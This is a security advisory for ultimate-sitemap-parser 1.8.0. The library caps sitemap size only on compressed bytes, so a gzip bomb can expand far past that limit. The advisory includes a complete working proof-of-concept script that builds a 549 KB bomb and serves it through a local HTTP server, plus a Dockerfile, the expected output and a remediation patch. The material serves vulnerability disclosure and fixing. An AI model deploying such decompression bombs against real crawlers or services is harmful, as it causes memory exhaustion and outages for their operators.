PT-2026-53770 · Pypi · Ultimate-Sitemap-Parser
Publicado
2026-06-19
·
Atualizado
2026-06-19
CVSS v3.1
7.5
Alta
| Vetor | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
Gzip Decompression Bomb Bypasses Sitemap Size Limit
Summary
ultimate-sitemap-parser enforces a 100 MiB size limit on sitemap responses, but applies it only to the compressed bytes received over the network. When a .gz sitemap is fetched, usp/helpers.py:239 calls gzip lib.decompress(data) with no output-size cap, allowing an attacker-controlled server to serve a small gzip-compressed payload (~549 KB) that expands to over 120 MiB in process memory. This completely bypasses the declared limit and can exhaust memory or crash any process that calls sitemap tree for homepage() against an untrusted site.Details
The library declares a maximum sitemap size constant in
usp/fetch parse.py:64:python
MAX SITEMAP SIZE = 100 * 1024 * 1024 # Max. uncompressed sitemap sizeDespite the comment saying "uncompressed", this value is passed directly to the HTTP client layer at
usp/fetch parse.py:130:python
web client.set max response data length(self. MAX SITEMAP SIZE)The HTTP client (
usp/web client/requests client.py:57-58) slices only the raw compressed response bytes:python
data = self. requests response.content[: self. max response data length]The truncated (but still compressed) bytes are then passed through the pipeline to
usp/fetch parse.py:175:python
response content = ungzipped response content(url=self. url, response=response)Inside
ungzipped response content (usp/helpers.py:265-267), when the URL ends in .gz or the response carries a gzip content type, decompression is triggered:python
if response is gzipped data(url=url, response=response):
data = gunzip(data)The
gunzip function (usp/helpers.py:239) decompresses without any output-size guard:python
gunzipped data = gzip lib.decompress(data)No post-decompression size check exists anywhere in the call chain. Dynamic reproduction confirmed that 549,213 bytes of compressed input passed the 100 MiB gate check (
compressed < limit → True) and then expanded to 125,829,234 bytes (120.0 MiB) in memory with no exception raised.PoC
Environment setup:
bash
# Clone the repository at the affected commit
git clone https://github.com/GateNLP/ultimate-sitemap-parser /tmp/usp-repo
cd /tmp/usp-repo
git checkout 182f4642f145230b68e7518e627883edd09168ca
# Build and run via Docker (memory-limited to 512 MiB)
docker build -t usp-vuln-002 -f vuln-002/Dockerfile /path/to/report-dir/
docker run --rm --memory=512m usp-vuln-002Alternatively, run directly:
bash
python -m venv /tmp/usp-poc
. /tmp/usp-poc/bin/activate
pip install ultimate-sitemap-parser==1.8.0
python3 poc.pyPoC script (
poc.py) — abbreviated attack flow:python
import gzip, threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from usp.tree import sitemap tree for homepage
# Build a gzip bomb: 120 MB uncompressed, ~549 KB compressed
bomb xml = (
b'<?xml version="1.0" encoding="UTF-8"?>'
b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
b'<!--' + b'B' * (120 * 1024 * 1024) + b'-->'
b'</urlset>'
)
compressed bomb = gzip.compress(bomb xml, compresslevel=1)
class BombHandler(BaseHTTPRequestHandler):
def do GET(self):
port = self.server.server address[1]
if self.path == "/robots.txt":
body = f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz
".encode()
self.send response(200); self.end headers(); self.wfile.write(body)
elif self.path == "/sitemap.xml.gz":
self.send response(200)
self.send header("Content-Type", "application/x-gzip")
self.end headers(); self.wfile.write(compressed bomb)
else:
self.send response(404); self.end headers()
def log message(self, *a): pass
server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server address[1]
threading.Thread(target=server.serve forever, daemon=True).start()
sitemap tree for homepage(f"http://127.0.0.1:{port}/", use known paths=False)
server.shutdown()Expected output:
[INTERCEPT] gunzip() input=549,213 B output=125,829,234 B (120.0 MB)
[+] sitemap tree for homepage() returned without exception
compressed=549,213 B < limit=104,857,600 B (passes gate)
decompressed=125,829,234 B > limit=104,857,600 B (no post-decompress check)
EXCEEDS LIMIT: True
[PASS] Decompression bomb bypassed the size limit.The parser fetches
/sitemap.xml.gz, passes the compressed-size gate check, decompresses 549 KB into 120 MiB in process memory, and returns normally without raising an exception.Remediation:
diff
--- a/usp/helpers.py
+++ b/usp/helpers.py
+import io
-def gunzip(data: bytes) -> bytes:
+def gunzip(data: bytes, max output bytes: int | None = None) -> bytes:
try:
- gunzipped data = gzip lib.decompress(data)
+ chunks, total = [], 0
+ with gzip lib.GzipFile(fileobj=io.BytesIO(data)) as gz:
+ while chunk := gz.read(1024 * 1024):
+ total += len(chunk)
+ if max output bytes is not None and total > max output bytes:
+ raise GunzipException(
+ f"Gunzipped data exceeds maximum size of {max output bytes} bytes."
+ )
+ chunks.append(chunk)
+ gunzipped data = b"".join(chunks)
-def ungzipped response content(url, response):
+def ungzipped response content(url, response, max uncompressed size=None):
- data = gunzip(data)
+ data = gunzip(data, max output bytes=max uncompressed size)
--- a/usp/fetch parse.py
- response content = ungzipped response content(url=self. url, response=response)
+ response content = ungzipped response content(
+ url=self. url, response=response,
+ max uncompressed size=self. MAX SITEMAP SIZE,
+ )Impact
Any application that calls
sitemap tree for homepage() (or the underlying fetch/parse pipeline) against an attacker-controlled or compromised domain is vulnerable. The attacker only needs to control a web server that serves a valid robots.txt pointing to a gzip-compressed sitemap URL. No authentication or special configuration is required; the vulnerability is triggered by default library behavior.A ~549 KB compressed payload expands to 120 MiB in process memory. Larger bombs are possible up to the compressed-size limit (100 MiB of compressed data could expand to tens of gigabytes). Repeated requests or sufficiently large bombs can cause out-of-memory crashes, service disruptions, or denial of service in any process or service that performs sitemap crawling.
This vulnerability is a Denial of Service via Uncontrolled Resource Consumption (Decompression Bomb / Zip Bomb). Affected parties include:
- SEO tooling, search engine crawlers, and indexing services using this library.
- Web frameworks and microservices that expose a sitemap-crawling endpoint to external input.
- Any automated pipeline that regularly crawls third-party sitemaps.
Reproduction artifacts
Dockerfile
dockerfile
FROM python:3.12-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends
gcc
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the vulnerable library from the cloned repo (build context: parent dir)
COPY repo/ /app/repo/
# Install the library from local source (version 1.8.0)
RUN pip install --no-cache-dir /app/repo/
# Copy the PoC script
COPY vuln-002/poc.py /app/poc.py
# Run with unbuffered output so evidence appears immediately
CMD ["python3", "-u", "/app/poc.py"]poc.py
python
#!/usr/bin/env python3
"""
Proof-of-Concept for VULN-002:
Gzip Decompression Bomb Bypasses Sitemap Size Limit
GateNLP/ultimate-sitemap-parser 1.8.0
Vulnerability location: usp/helpers.py:239
gunzipped data = gzip lib.decompress(data) # no max length
Attack path:
1. Attacker serves /robots.txt pointing to /sitemap.xml.gz
2. Library enforces MAX SITEMAP SIZE (100 MB) on *compressed* response bytes
3. Library calls gunzip() with no output-size limit
4. Small compressed payload expands to >>100 MB in process memory
Expected outcome: gunzip() output size > 100 MB with no exception raised.
"""
import gzip
import sys
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
# Mirrors usp/fetch parse.py:64 — the library's declared maximum
MAX SITEMAP SIZE = 100 * 1024 * 1024 # 100 MB
# Bomb decompresses to this size (deliberately exceeds the limit)
BOMB UNCOMPRESSED MB = 120
BOMB UNCOMPRESSED BYTES = BOMB UNCOMPRESSED MB * 1024 * 1024
def get rss mb() -> float:
"""Read current RSS from /proc/self/status in MB."""
try:
with open("/proc/self/status") as fh:
for line in fh:
if line.startswith("VmRSS:"):
return int(line.split()[1]) / 1024
except OSError:
pass
return 0.0
# ---------------------------------------------------------------------------
# Step 1 — Build the gzip bomb
# ---------------------------------------------------------------------------
print("[*] Building gzip bomb (compresslevel=1, fast) ...")
bomb xml = (
b'<?xml version="1.0" encoding="UTF-8"?>'
b'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">'
b'<!--' + b'B' * BOMB UNCOMPRESSED BYTES + b'-->'
b'</urlset>'
)
compressed bomb = gzip.compress(bomb xml, compresslevel=1)
print(f"[+] Uncompressed payload : {len(bomb xml):>12,} bytes ({len(bomb xml)/1024/1024:.1f} MB)")
print(f"[+] Compressed bomb : {len(compressed bomb):>12,} bytes ({len(compressed bomb)/1024/1024:.3f} MB)")
print(f"[+] Library MAX SITEMAP SIZE : {MAX SITEMAP SIZE:,} bytes (100.0 MB)")
print(f"[+] compressed < limit : {len(compressed bomb) < MAX SITEMAP SIZE} "
f"(bomb passes the size gate)")
print(f"[+] uncompressed > limit : {len(bomb xml) > MAX SITEMAP SIZE} "
f"(decompression would exceed intent)")
print()
# ---------------------------------------------------------------------------
# Step 2 — Serve the bomb via a local HTTP server
# ---------------------------------------------------------------------------
class BombHandler(BaseHTTPRequestHandler):
def do GET(self) -> None:
port = self.server.server address[1]
if self.path == "/robots.txt":
body = (
f"User-agent: *
"
f"Sitemap: http://127.0.0.1:{port}/sitemap.xml.gz
"
).encode()
self.send response(200)
self.send header("Content-Type", "text/plain; charset=utf-8")
self.send header("Content-Length", str(len(body)))
self.end headers()
self.wfile.write(body)
elif self.path == "/sitemap.xml.gz":
self.send response(200)
self.send header("Content-Type", "application/x-gzip")
self.send header("Content-Length", str(len(compressed bomb)))
self.end headers()
self.wfile.write(compressed bomb)
else:
self.send response(404)
self.end headers()
def log message(self, fmt: str, *args: object) -> None: # silence default log
print(f" [HTTP] {self.path} {fmt % args}")
server = HTTPServer(("127.0.0.1", 0), BombHandler)
port = server.server address[1]
threading.Thread(target=server.serve forever, daemon=True).start()
print(f"[*] Bomb server listening on http://127.0.0.1:{port}/")
# ---------------------------------------------------------------------------
# Step 3 — Monkeypatch usp.helpers.gunzip to intercept decompressed size
# ---------------------------------------------------------------------------
import usp.helpers as helpers
orig gunzip = helpers.gunzip
intercepted: list[int] = []
def patched gunzip(data: bytes) -> bytes:
result = orig gunzip(data)
intercepted.append(len(result))
print(f" [INTERCEPT] gunzip() input={len(data):,} B output={len(result):,} B "
f"({len(result)/1024/1024:.1f} MB)")
return result
helpers.gunzip = patched gunzip
# ---------------------------------------------------------------------------
# Step 4 — Trigger the vulnerability
# ---------------------------------------------------------------------------
from usp.tree import sitemap tree for homepage
rss before = get rss mb()
print(f"[*] RSS before parse: {rss before:.1f} MB")
print(f"[*] Calling sitemap tree for homepage(http://127.0.0.1:{port}/) ...")
try:
tree = sitemap tree for homepage(
f"http://127.0.0.1:{port}/",
use known paths=False,
)
parse raised = False
print("[+] sitemap tree for homepage() returned without exception")
except Exception as exc:
parse raised = True
print(f"[!] sitemap tree for homepage() raised: {exc}")
rss after = get rss mb()
print(f"[*] RSS after parse: {rss after:.1f} MB (delta: +{rss after - rss before:.1f} MB)")
server.shutdown()
# ---------------------------------------------------------------------------
# Step 5 — Evaluate and report
# ---------------------------------------------------------------------------
print()
print("=" * 60)
print("EXPLOIT RESULT SUMMARY")
print("=" * 60)
passed = False
reason = "no gunzip intercept captured"
if intercepted:
max decompressed = max( intercepted)
print(f" gunzip() call(s) : {len( intercepted)}")
print(f" max decompressed : {max decompressed:,} bytes ({max decompressed/1024/1024:.1f} MB)")
print(f" library limit : {MAX SITEMAP SIZE:,} bytes (100.0 MB)")
print(f" EXCEEDS LIMIT : {max decompressed > MAX SITEMAP SIZE}")
if max decompressed > MAX SITEMAP SIZE:
passed = True
reason = (
f"gunzip() decompressed {max decompressed:,} bytes "
f"({max decompressed/1024/1024:.1f} MB), exceeding the "
f"{MAX SITEMAP SIZE/1024/1024:.0f} MB limit without raising an exception"
)
print()
print(" [PASS] Decompression bomb bypassed the size limit.")
print(f" compressed={len(compressed bomb):,} B < limit={MAX SITEMAP SIZE:,} B "
f"(passes gate)")
print(f" decompressed={max decompressed:,} B > limit={MAX SITEMAP SIZE:,} B "
f"(no post-decompress check)")
else:
reason = (
f"gunzip() decompressed {max decompressed:,} bytes but did not exceed "
f"{MAX SITEMAP SIZE:,} bytes limit"
)
print()
print(" [FAIL] Decompressed size did not exceed limit.")
else:
print(" [FAIL] gunzip() was not intercepted — sitemap path not reached.")
print("=" * 60)
sys.exit(0 if passed else 1)Correção
Resource Exhaustion
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾
Enumeração de Fraquezas
Identificadores relacionados
Produtos afetados
Ultimate-Sitemap-Parser